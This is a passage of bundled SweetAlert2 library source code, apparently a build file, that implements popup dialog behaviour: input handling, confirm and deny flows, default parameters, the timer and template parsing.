  1702. delete globalState.swalCloseEventFinishedCallback;
  1703. }
  1704. });
  1705. };
  1706. const triggerDidCloseAndDispose = (instance, didClose) => {
  1707. setTimeout(() => {
  1708. if (typeof didClose === "function") {
  1709. didClose.bind(instance.params)();
  1710. }
  1711. if (instance._destroy) {
  1712. instance._destroy();
  1713. }
  1714. });
  1715. };
  1716. const showLoading = (buttonToReplace) => {
  1717. let popup = getPopup();
  1718. if (!popup) {
  1719. new Swal2();
  1720. }
  1721. popup = getPopup();
  1722. const loader = getLoader();
  1723. if (isToast()) {
  1724. hide(getIcon());
  1725. } else {
  1726. replaceButton(popup, buttonToReplace);
  1727. }
  1728. show(loader);
  1729. popup.setAttribute("data-loading", "true");
  1730. popup.setAttribute("aria-busy", "true");
  1731. popup.focus();
  1732. };
  1733. const replaceButton = (popup, buttonToReplace) => {
  1734. const actions = getActions();
  1735. const loader = getLoader();
  1736. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1737. buttonToReplace = getConfirmButton();
  1738. }
  1739. show(actions);
  1740. if (buttonToReplace) {
  1741. hide(buttonToReplace);
  1742. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1743. }
  1744. loader.parentNode.insertBefore(loader, buttonToReplace);
  1745. addClass([popup, actions], swalClasses.loading);
  1746. };
  1747. const handleInputOptionsAndValue = (instance, params) => {
  1748. if (params.input === "select" || params.input === "radio") {
  1749. handleInputOptions(instance, params);
  1750. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1751. showLoading(getConfirmButton());
  1752. handleInputValue(instance, params);
  1753. }
  1754. };
  1755. const getInputValue = (instance, innerParams) => {
  1756. const input = instance.getInput();
  1757. if (!input) {
  1758. return null;
  1759. }
  1760. switch (innerParams.input) {
  1761. case "checkbox":
  1762. return getCheckboxValue(input);
  1763. case "radio":
  1764. return getRadioValue(input);
  1765. case "file":
  1766. return getFileValue(input);
  1767. default:
  1768. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1769. }
  1770. };
  1771. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1772. const getRadioValue = (input) => input.checked ? input.value : null;
  1773. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1774. const handleInputOptions = (instance, params) => {
  1775. const popup = getPopup();
  1776. const processInputOptions = (inputOptions) => {
  1777. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1778. };
  1779. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1780. showLoading(getConfirmButton());
  1781. asPromise(params.inputOptions).then((inputOptions) => {
  1782. instance.hideLoading();
  1783. processInputOptions(inputOptions);
  1784. });
  1785. } else if (typeof params.inputOptions === "object") {
  1786. processInputOptions(params.inputOptions);
  1787. } else {
  1788. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1789. }
  1790. };
  1791. const handleInputValue = (instance, params) => {
  1792. const input = instance.getInput();
  1793. hide(input);
  1794. asPromise(params.inputValue).then((inputValue) => {
  1795. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1796. show(input);
  1797. input.focus();
  1798. instance.hideLoading();
  1799. }).catch((err) => {
  1800. error(`Error in inputValue promise: ${err}`);
  1801. input.value = "";
  1802. show(input);
  1803. input.focus();
  1804. instance.hideLoading();
  1805. });
  1806. };
  1807. const populateInputOptions = {
  1808. /**
  1809. * @param {HTMLElement} popup
  1810. * @param {Record<string, any>} inputOptions
  1811. * @param {SweetAlertOptions} params
  1812. */
  1813. select: (popup, inputOptions, params) => {
  1814. const select = getDirectChildByClass(popup, swalClasses.select);
  1815. const renderOption = (parent, optionLabel, optionValue) => {
  1816. const option = document.createElement("option");
  1817. option.value = optionValue;
  1818. setInnerHtml(option, optionLabel);
  1819. option.selected = isSelected(optionValue, params.inputValue);
  1820. parent.appendChild(option);
  1821. };
  1822. inputOptions.forEach((inputOption) => {
  1823. const optionValue = inputOption[0];
  1824. const optionLabel = inputOption[1];
  1825. if (Array.isArray(optionLabel)) {
  1826. const optgroup = document.createElement("optgroup");
  1827. optgroup.label = optionValue;
  1828. optgroup.disabled = false;
  1829. select.appendChild(optgroup);
  1830. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1831. } else {
  1832. renderOption(select, optionLabel, optionValue);
  1833. }
  1834. });
  1835. select.focus();
  1836. },
  1837. /**
  1838. * @param {HTMLElement} popup
  1839. * @param {Record<string, any>} inputOptions
  1840. * @param {SweetAlertOptions} params
  1841. */
  1842. radio: (popup, inputOptions, params) => {
  1843. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1844. inputOptions.forEach((inputOption) => {
  1845. const radioValue = inputOption[0];
  1846. const radioLabel = inputOption[1];
  1847. const radioInput = document.createElement("input");
  1848. const radioLabelElement = document.createElement("label");
  1849. radioInput.type = "radio";
  1850. radioInput.name = swalClasses.radio;
  1851. radioInput.value = radioValue;
  1852. if (isSelected(radioValue, params.inputValue)) {
  1853. radioInput.checked = true;
  1854. }
  1855. const label = document.createElement("span");
  1856. setInnerHtml(label, radioLabel);
  1857. label.className = swalClasses.label;
  1858. radioLabelElement.appendChild(radioInput);
  1859. radioLabelElement.appendChild(label);
  1860. radio.appendChild(radioLabelElement);
  1861. });
  1862. const radios = radio.querySelectorAll("input");
  1863. if (radios.length) {
  1864. radios[0].focus();
  1865. }
  1866. }
  1867. };
  1868. const formatInputOptions = (inputOptions) => {
  1869. const result = [];
  1870. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1871. inputOptions.forEach((value, key) => {
  1872. let valueFormatted = value;
  1873. if (typeof valueFormatted === "object") {
  1874. valueFormatted = formatInputOptions(valueFormatted);
  1875. }
  1876. result.push([key, valueFormatted]);
  1877. });
  1878. } else {
  1879. Object.keys(inputOptions).forEach((key) => {
  1880. let valueFormatted = inputOptions[key];
  1881. if (typeof valueFormatted === "object") {
  1882. valueFormatted = formatInputOptions(valueFormatted);
  1883. }
  1884. result.push([key, valueFormatted]);
  1885. });
  1886. }
  1887. return result;
  1888. };
  1889. const isSelected = (optionValue, inputValue) => {
  1890. return inputValue && inputValue.toString() === optionValue.toString();
  1891. };
  1892. const handleConfirmButtonClick = (instance) => {
  1893. const innerParams = privateProps.innerParams.get(instance);
  1894. instance.disableButtons();
  1895. if (innerParams.input) {
  1896. handleConfirmOrDenyWithInput(instance, "confirm");
  1897. } else {
  1898. confirm(instance, true);
  1899. }
  1900. };
  1901. const handleDenyButtonClick = (instance) => {
  1902. const innerParams = privateProps.innerParams.get(instance);
  1903. instance.disableButtons();
  1904. if (innerParams.returnInputValueOnDeny) {
  1905. handleConfirmOrDenyWithInput(instance, "deny");
  1906. } else {
  1907. deny(instance, false);
  1908. }
  1909. };
  1910. const handleCancelButtonClick = (instance, dismissWith) => {
  1911. instance.disableButtons();
  1912. dismissWith(DismissReason.cancel);
  1913. };
  1914. const handleConfirmOrDenyWithInput = (instance, type) => {
  1915. const innerParams = privateProps.innerParams.get(instance);
  1916. if (!innerParams.input) {
  1917. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1918. return;
  1919. }
  1920. const inputValue = getInputValue(instance, innerParams);
  1921. if (innerParams.inputValidator) {
  1922. handleInputValidator(instance, inputValue, type);
  1923. } else if (!instance.getInput().checkValidity()) {
  1924. instance.enableButtons();
  1925. instance.showValidationMessage(innerParams.validationMessage);
  1926. } else if (type === "deny") {
  1927. deny(instance, inputValue);
  1928. } else {
  1929. confirm(instance, inputValue);
  1930. }
  1931. };
  1932. const handleInputValidator = (instance, inputValue, type) => {
  1933. const innerParams = privateProps.innerParams.get(instance);
  1934. instance.disableInput();
  1935. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1936. validationPromise.then((validationMessage) => {
  1937. instance.enableButtons();
  1938. instance.enableInput();
  1939. if (validationMessage) {
  1940. instance.showValidationMessage(validationMessage);
  1941. } else if (type === "deny") {
  1942. deny(instance, inputValue);
  1943. } else {
  1944. confirm(instance, inputValue);
  1945. }
  1946. });
  1947. };
  1948. const deny = (instance, value) => {
  1949. const innerParams = privateProps.innerParams.get(instance || void 0);
  1950. if (innerParams.showLoaderOnDeny) {
  1951. showLoading(getDenyButton());
  1952. }
  1953. if (innerParams.preDeny) {
  1954. instance.isAwaitingPromise = true;
  1955. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1956. preDenyPromise.then((preDenyValue) => {
  1957. if (preDenyValue === false) {
  1958. instance.hideLoading();
  1959. handleAwaitingPromise(instance);
  1960. } else {
  1961. instance.close({
  1962. isDenied: true,
  1963. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1964. });
  1965. }
  1966. }).catch((error2) => rejectWith(instance || void 0, error2));
  1967. } else {
  1968. instance.close({
  1969. isDenied: true,
  1970. value
  1971. });
  1972. }
  1973. };
  1974. const succeedWith = (instance, value) => {
  1975. instance.close({
  1976. isConfirmed: true,
  1977. value
  1978. });
  1979. };
  1980. const rejectWith = (instance, error2) => {
  1981. instance.rejectPromise(error2);
  1982. };
  1983. const confirm = (instance, value) => {
  1984. const innerParams = privateProps.innerParams.get(instance || void 0);
  1985. if (innerParams.showLoaderOnConfirm) {
  1986. showLoading();
  1987. }
  1988. if (innerParams.preConfirm) {
  1989. instance.resetValidationMessage();
  1990. instance.isAwaitingPromise = true;
  1991. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  1992. preConfirmPromise.then((preConfirmValue) => {
  1993. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  1994. instance.hideLoading();
  1995. handleAwaitingPromise(instance);
  1996. } else {
  1997. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  1998. }
  1999. }).catch((error2) => rejectWith(instance || void 0, error2));
  2000. } else {
  2001. succeedWith(instance, value);
  2002. }
  2003. };
  2004. function hideLoading() {
  2005. const innerParams = privateProps.innerParams.get(this);
  2006. if (!innerParams) {
  2007. return;
  2008. }
  2009. const domCache = privateProps.domCache.get(this);
  2010. hide(domCache.loader);
  2011. if (isToast()) {
  2012. if (innerParams.icon) {
  2013. show(getIcon());
  2014. }
  2015. } else {
  2016. showRelatedButton(domCache);
  2017. }
  2018. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2019. domCache.popup.removeAttribute("aria-busy");
  2020. domCache.popup.removeAttribute("data-loading");
  2021. domCache.confirmButton.disabled = false;
  2022. domCache.denyButton.disabled = false;
  2023. domCache.cancelButton.disabled = false;
  2024. }
  2025. const showRelatedButton = (domCache) => {
  2026. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2027. if (buttonToReplace.length) {
  2028. show(buttonToReplace[0], "inline-block");
  2029. } else if (allButtonsAreHidden()) {
  2030. hide(domCache.actions);
  2031. }
  2032. };
  2033. function getInput() {
  2034. const innerParams = privateProps.innerParams.get(this);
  2035. const domCache = privateProps.domCache.get(this);
  2036. if (!domCache) {
  2037. return null;
  2038. }
  2039. return getInput$1(domCache.popup, innerParams.input);
  2040. }
  2041. function setButtonsDisabled(instance, buttons, disabled) {
  2042. const domCache = privateProps.domCache.get(instance);
  2043. buttons.forEach((button) => {
  2044. domCache[button].disabled = disabled;
  2045. });
  2046. }
  2047. function setInputDisabled(input, disabled) {
  2048. if (!input) {
  2049. return;
  2050. }
  2051. if (input.type === "radio") {
  2052. const radiosContainer = input.parentNode.parentNode;
  2053. const radios = radiosContainer.querySelectorAll("input");
  2054. for (let i = 0; i < radios.length; i++) {
  2055. radios[i].disabled = disabled;
  2056. }
  2057. } else {
  2058. input.disabled = disabled;
  2059. }
  2060. }
  2061. function enableButtons() {
  2062. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2063. }
  2064. function disableButtons() {
  2065. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2066. }
  2067. function enableInput() {
  2068. setInputDisabled(this.getInput(), false);
  2069. }
  2070. function disableInput() {
  2071. setInputDisabled(this.getInput(), true);
  2072. }
  2073. function showValidationMessage(error2) {
  2074. const domCache = privateProps.domCache.get(this);
  2075. const params = privateProps.innerParams.get(this);
  2076. setInnerHtml(domCache.validationMessage, error2);
  2077. domCache.validationMessage.className = swalClasses["validation-message"];
  2078. if (params.customClass && params.customClass.validationMessage) {
  2079. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2080. }
  2081. show(domCache.validationMessage);
  2082. const input = this.getInput();
  2083. if (input) {
  2084. input.setAttribute("aria-invalid", true);
  2085. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2086. focusInput(input);
  2087. addClass(input, swalClasses.inputerror);
  2088. }
  2089. }
  2090. function resetValidationMessage() {
  2091. const domCache = privateProps.domCache.get(this);
  2092. if (domCache.validationMessage) {
  2093. hide(domCache.validationMessage);
  2094. }
  2095. const input = this.getInput();
  2096. if (input) {
  2097. input.removeAttribute("aria-invalid");
  2098. input.removeAttribute("aria-describedby");
  2099. removeClass(input, swalClasses.inputerror);
  2100. }
  2101. }
  2102. const defaultParams = {
  2103. title: "",
  2104. titleText: "",
  2105. text: "",
  2106. html: "",
  2107. footer: "",
  2108. icon: void 0,
  2109. iconColor: void 0,
  2110. iconHtml: void 0,
  2111. template: void 0,
  2112. toast: false,
  2113. showClass: {
  2114. popup: "swal2-show",
  2115. backdrop: "swal2-backdrop-show",
  2116. icon: "swal2-icon-show"
  2117. },
  2118. hideClass: {
  2119. popup: "swal2-hide",
  2120. backdrop: "swal2-backdrop-hide",
  2121. icon: "swal2-icon-hide"
  2122. },
  2123. customClass: {},
  2124. target: "body",
  2125. color: void 0,
  2126. backdrop: true,
  2127. heightAuto: true,
  2128. allowOutsideClick: true,
  2129. allowEscapeKey: true,
  2130. allowEnterKey: true,
  2131. stopKeydownPropagation: true,
  2132. keydownListenerCapture: false,
  2133. showConfirmButton: true,
  2134. showDenyButton: false,
  2135. showCancelButton: false,
  2136. preConfirm: void 0,
  2137. preDeny: void 0,
  2138. confirmButtonText: "OK",
  2139. confirmButtonAriaLabel: "",
  2140. confirmButtonColor: void 0,
  2141. denyButtonText: "No",
  2142. denyButtonAriaLabel: "",
  2143. denyButtonColor: void 0,
  2144. cancelButtonText: "Cancel",
  2145. cancelButtonAriaLabel: "",
  2146. cancelButtonColor: void 0,
  2147. buttonsStyling: true,
  2148. reverseButtons: false,
  2149. focusConfirm: true,
  2150. focusDeny: false,
  2151. focusCancel: false,
  2152. returnFocus: true,
  2153. showCloseButton: false,
  2154. closeButtonHtml: "&times;",
  2155. closeButtonAriaLabel: "Close this dialog",
  2156. loaderHtml: "",
  2157. showLoaderOnConfirm: false,
  2158. showLoaderOnDeny: false,
  2159. imageUrl: void 0,
  2160. imageWidth: void 0,
  2161. imageHeight: void 0,
  2162. imageAlt: "",
  2163. timer: void 0,
  2164. timerProgressBar: false,
  2165. width: void 0,
  2166. padding: void 0,
  2167. background: void 0,
  2168. input: void 0,
  2169. inputPlaceholder: "",
  2170. inputLabel: "",
  2171. inputValue: "",
  2172. inputOptions: {},
  2173. inputAutoFocus: true,
  2174. inputAutoTrim: true,
  2175. inputAttributes: {},
  2176. inputValidator: void 0,
  2177. returnInputValueOnDeny: false,
  2178. validationMessage: void 0,
  2179. grow: false,
  2180. position: "center",
  2181. progressSteps: [],
  2182. currentProgressStep: void 0,
  2183. progressStepsDistance: void 0,
  2184. willOpen: void 0,
  2185. didOpen: void 0,
  2186. didRender: void 0,
  2187. willClose: void 0,
  2188. didClose: void 0,
  2189. didDestroy: void 0,
  2190. scrollbarPadding: true
  2191. };
  2192. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2193. const deprecatedParams = {};
  2194. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2195. const isValidParameter = (paramName) => {
  2196. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2197. };
  2198. const isUpdatableParameter = (paramName) => {
  2199. return updatableParams.indexOf(paramName) !== -1;
  2200. };
  2201. const isDeprecatedParameter = (paramName) => {
  2202. return deprecatedParams[paramName];
  2203. };
  2204. const checkIfParamIsValid = (param) => {
  2205. if (!isValidParameter(param)) {
  2206. warn(`Unknown parameter "${param}"`);
  2207. }
  2208. };
  2209. const checkIfToastParamIsValid = (param) => {
  2210. if (toastIncompatibleParams.includes(param)) {
  2211. warn(`The parameter "${param}" is incompatible with toasts`);
  2212. }
  2213. };
  2214. const checkIfParamIsDeprecated = (param) => {
  2215. const isDeprecated = isDeprecatedParameter(param);
  2216. if (isDeprecated) {
  2217. warnAboutDeprecation(param, isDeprecated);
  2218. }
  2219. };
  2220. const showWarningsForParams = (params) => {
  2221. if (params.backdrop === false && params.allowOutsideClick) {
  2222. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2223. }
  2224. for (const param in params) {
  2225. checkIfParamIsValid(param);
  2226. if (params.toast) {
  2227. checkIfToastParamIsValid(param);
  2228. }
  2229. checkIfParamIsDeprecated(param);
  2230. }
  2231. };
  2232. function update(params) {
  2233. const popup = getPopup();
  2234. const innerParams = privateProps.innerParams.get(this);
  2235. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2236. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2237. return;
  2238. }
  2239. const validUpdatableParams = filterValidParams(params);
  2240. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2241. render(this, updatedParams);
  2242. privateProps.innerParams.set(this, updatedParams);
  2243. Object.defineProperties(this, {
  2244. params: {
  2245. value: Object.assign({}, this.params, params),
  2246. writable: false,
  2247. enumerable: true
  2248. }
  2249. });
  2250. }
  2251. const filterValidParams = (params) => {
  2252. const validUpdatableParams = {};
  2253. Object.keys(params).forEach((param) => {
  2254. if (isUpdatableParameter(param)) {
  2255. validUpdatableParams[param] = params[param];
  2256. } else {
  2257. warn(`Invalid parameter to update: ${param}`);
  2258. }
  2259. });
  2260. return validUpdatableParams;
  2261. };
  2262. function _destroy() {
  2263. const domCache = privateProps.domCache.get(this);
  2264. const innerParams = privateProps.innerParams.get(this);
  2265. if (!innerParams) {
  2266. disposeWeakMaps(this);
  2267. return;
  2268. }
  2269. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2270. globalState.swalCloseEventFinishedCallback();
  2271. delete globalState.swalCloseEventFinishedCallback;
  2272. }
  2273. if (typeof innerParams.didDestroy === "function") {
  2274. innerParams.didDestroy();
  2275. }
  2276. disposeSwal(this);
  2277. }
  2278. const disposeSwal = (instance) => {
  2279. disposeWeakMaps(instance);
  2280. delete instance.params;
  2281. delete globalState.keydownHandler;
  2282. delete globalState.keydownTarget;
  2283. delete globalState.currentInstance;
  2284. };
  2285. const disposeWeakMaps = (instance) => {
  2286. if (instance.isAwaitingPromise) {
  2287. unsetWeakMaps(privateProps, instance);
  2288. instance.isAwaitingPromise = true;
  2289. } else {
  2290. unsetWeakMaps(privateMethods, instance);
  2291. unsetWeakMaps(privateProps, instance);
  2292. delete instance.isAwaitingPromise;
  2293. delete instance.disableButtons;
  2294. delete instance.enableButtons;
  2295. delete instance.getInput;
  2296. delete instance.disableInput;
  2297. delete instance.enableInput;
  2298. delete instance.hideLoading;
  2299. delete instance.disableLoading;
  2300. delete instance.showValidationMessage;
  2301. delete instance.resetValidationMessage;
  2302. delete instance.close;
  2303. delete instance.closePopup;
  2304. delete instance.closeModal;
  2305. delete instance.closeToast;
  2306. delete instance.rejectPromise;
  2307. delete instance.update;
  2308. delete instance._destroy;
  2309. }
  2310. };
  2311. const unsetWeakMaps = (obj, instance) => {
  2312. for (const i in obj) {
  2313. obj[i].delete(instance);
  2314. }
  2315. };
  2316. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2317. __proto__: null,
  2318. _destroy,
  2319. close,
  2320. closeModal: close,
  2321. closePopup: close,
  2322. closeToast: close,
  2323. disableButtons,
  2324. disableInput,
  2325. disableLoading: hideLoading,
  2326. enableButtons,
  2327. enableInput,
  2328. getInput,
  2329. handleAwaitingPromise,
  2330. hideLoading,
  2331. rejectPromise,
  2332. resetValidationMessage,
  2333. showValidationMessage,
  2334. update
  2335. });
  2336. const handlePopupClick = (instance, domCache, dismissWith) => {
  2337. const innerParams = privateProps.innerParams.get(instance);
  2338. if (innerParams.toast) {
  2339. handleToastClick(instance, domCache, dismissWith);
  2340. } else {
  2341. handleModalMousedown(domCache);
  2342. handleContainerMousedown(domCache);
  2343. handleModalClick(instance, domCache, dismissWith);
  2344. }
  2345. };
  2346. const handleToastClick = (instance, domCache, dismissWith) => {
  2347. domCache.popup.onclick = () => {
  2348. const innerParams = privateProps.innerParams.get(instance);
  2349. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2350. return;
  2351. }
  2352. dismissWith(DismissReason.close);
  2353. };
  2354. };
  2355. const isAnyButtonShown = (innerParams) => {
  2356. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2357. };
  2358. let ignoreOutsideClick = false;
  2359. const handleModalMousedown = (domCache) => {
  2360. domCache.popup.onmousedown = () => {
  2361. domCache.container.onmouseup = function(e) {
  2362. domCache.container.onmouseup = void 0;
  2363. if (e.target === domCache.container) {
  2364. ignoreOutsideClick = true;
  2365. }
  2366. };
  2367. };
  2368. };
  2369. const handleContainerMousedown = (domCache) => {
  2370. domCache.container.onmousedown = () => {
  2371. domCache.popup.onmouseup = function(e) {
  2372. domCache.popup.onmouseup = void 0;
  2373. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2374. ignoreOutsideClick = true;
  2375. }
  2376. };
  2377. };
  2378. };
  2379. const handleModalClick = (instance, domCache, dismissWith) => {
  2380. domCache.container.onclick = (e) => {
  2381. const innerParams = privateProps.innerParams.get(instance);
  2382. if (ignoreOutsideClick) {
  2383. ignoreOutsideClick = false;
  2384. return;
  2385. }
  2386. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2387. dismissWith(DismissReason.backdrop);
  2388. }
  2389. };
  2390. };
  2391. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2392. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2393. const argsToParams = (args) => {
  2394. const params = {};
  2395. if (typeof args[0] === "object" && !isElement(args[0])) {
  2396. Object.assign(params, args[0]);
  2397. } else {
  2398. ["title", "html", "icon"].forEach((name, index) => {
  2399. const arg = args[index];
  2400. if (typeof arg === "string" || isElement(arg)) {
  2401. params[name] = arg;
  2402. } else if (arg !== void 0) {
  2403. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2404. }
  2405. });
  2406. }
  2407. return params;
  2408. };
  2409. function fire() {
  2410. const Swal3 = this;
  2411. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2412. args[_key] = arguments[_key];
  2413. }
  2414. return new Swal3(...args);
  2415. }
  2416. function mixin(mixinParams) {
  2417. class MixinSwal extends this {
  2418. _main(params, priorityMixinParams) {
  2419. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2420. }
  2421. }
  2422. return MixinSwal;
  2423. }
  2424. const getTimerLeft = () => {
  2425. return globalState.timeout && globalState.timeout.getTimerLeft();
  2426. };
  2427. const stopTimer = () => {
  2428. if (globalState.timeout) {
  2429. stopTimerProgressBar();
  2430. return globalState.timeout.stop();
  2431. }
  2432. };
  2433. const resumeTimer = () => {
  2434. if (globalState.timeout) {
  2435. const remaining = globalState.timeout.start();
  2436. animateTimerProgressBar(remaining);
  2437. return remaining;
  2438. }
  2439. };
  2440. const toggleTimer = () => {
  2441. const timer = globalState.timeout;
  2442. return timer && (timer.running ? stopTimer() : resumeTimer());
  2443. };
  2444. const increaseTimer = (n) => {
  2445. if (globalState.timeout) {
  2446. const remaining = globalState.timeout.increase(n);
  2447. animateTimerProgressBar(remaining, true);
  2448. return remaining;
  2449. }
  2450. };
  2451. const isTimerRunning = () => {
  2452. return !!(globalState.timeout && globalState.timeout.isRunning());
  2453. };
  2454. let bodyClickListenerAdded = false;
  2455. const clickHandlers = {};
  2456. function bindClickHandler() {
  2457. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2458. clickHandlers[attr] = this;
  2459. if (!bodyClickListenerAdded) {
  2460. document.body.addEventListener("click", bodyClickListener);
  2461. bodyClickListenerAdded = true;
  2462. }
  2463. }
  2464. const bodyClickListener = (event) => {
  2465. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2466. for (const attr in clickHandlers) {
  2467. const template = el.getAttribute(attr);
  2468. if (template) {
  2469. clickHandlers[attr].fire({
  2470. template
  2471. });
  2472. return;
  2473. }
  2474. }
  2475. }
  2476. };
  2477. var staticMethods = /* @__PURE__ */ Object.freeze({
  2478. __proto__: null,
  2479. argsToParams,
  2480. bindClickHandler,
  2481. clickCancel,
  2482. clickConfirm,
  2483. clickDeny,
  2484. enableLoading: showLoading,
  2485. fire,
  2486. getActions,
  2487. getCancelButton,
  2488. getCloseButton,
  2489. getConfirmButton,
  2490. getContainer,
  2491. getDenyButton,
  2492. getFocusableElements,
  2493. getFooter,
  2494. getHtmlContainer,
  2495. getIcon,
  2496. getIconContent,
  2497. getImage,
  2498. getInputLabel,
  2499. getLoader,
  2500. getPopup,
  2501. getProgressSteps,
  2502. getTimerLeft,
  2503. getTimerProgressBar,
  2504. getTitle,
  2505. getValidationMessage,
  2506. increaseTimer,
  2507. isDeprecatedParameter,
  2508. isLoading,
  2509. isTimerRunning,
  2510. isUpdatableParameter,
  2511. isValidParameter,
  2512. isVisible,
  2513. mixin,
  2514. resumeTimer,
  2515. showLoading,
  2516. stopTimer,
  2517. toggleTimer
  2518. });
  2519. class Timer {
  2520. /**
  2521. * @param {Function} callback
  2522. * @param {number} delay
  2523. */
  2524. constructor(callback, delay) {
  2525. this.callback = callback;
  2526. this.remaining = delay;
  2527. this.running = false;
  2528. this.start();
  2529. }
  2530. /**
  2531. * @returns {number}
  2532. */
  2533. start() {
  2534. if (!this.running) {
  2535. this.running = true;
  2536. this.started = /* @__PURE__ */ new Date();
  2537. this.id = setTimeout(this.callback, this.remaining);
  2538. }
  2539. return this.remaining;
  2540. }
  2541. /**
  2542. * @returns {number}
  2543. */
  2544. stop() {
  2545. if (this.started && this.running) {
  2546. this.running = false;
  2547. clearTimeout(this.id);
  2548. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2549. }
  2550. return this.remaining;
  2551. }
  2552. /**
  2553. * @param {number} n
  2554. * @returns {number}
  2555. */
  2556. increase(n) {
  2557. const running = this.running;
  2558. if (running) {
  2559. this.stop();
  2560. }
  2561. this.remaining += n;
  2562. if (running) {
  2563. this.start();
  2564. }
  2565. return this.remaining;
  2566. }
  2567. /**
  2568. * @returns {number}
  2569. */
  2570. getTimerLeft() {
  2571. if (this.running) {
  2572. this.stop();
  2573. this.start();
  2574. }
  2575. return this.remaining;
  2576. }
  2577. /**
  2578. * @returns {boolean}
  2579. */
  2580. isRunning() {
  2581. return this.running;
  2582. }
  2583. }
  2584. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2585. const getTemplateParams = (params) => {
  2586. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  2587. if (!template) {
  2588. return {};
  2589. }
  2590. const templateContent = template.content;
  2591. showWarningsForElements(templateContent);
  2592. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2593. return result;
  2594. };
  2595. const getSwalParams = (templateContent) => {
  2596. const result = {};
  2597. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2598. swalParams.forEach((param) => {
  2599. showWarningsForAttributes(param, ["name", "value"]);
  2600. const paramName = param.getAttribute("name");
  2601. const value = param.getAttribute("value");
  2602. if (typeof defaultParams[paramName] === "boolean") {
  2603. result[paramName] = value !== "false";
  2604. } else if (typeof defaultParams[paramName] === "object") {
  2605. result[paramName] = JSON.parse(value);
  2606. } else {
  2607. result[paramName] = value;
  2608. }
  2609. });
  2610. return result;
  2611. };
  2612. const getSwalFunctionParams = (templateContent) => {
  2613. const result = {};
  2614. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2615. swalFunctions.forEach((param) => {
  2616. const paramName = param.getAttribute("name");
  2617. const value = param.getAttribute("value");
  2618. result[paramName] = new Function(`return ${value}`)();
  2619. });
  2620. return result;
  2621. };
  2622. const getSwalButtons = (templateContent) => {
  2623. const result = {};
  2624. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  2625. swalButtons.forEach((button) => {
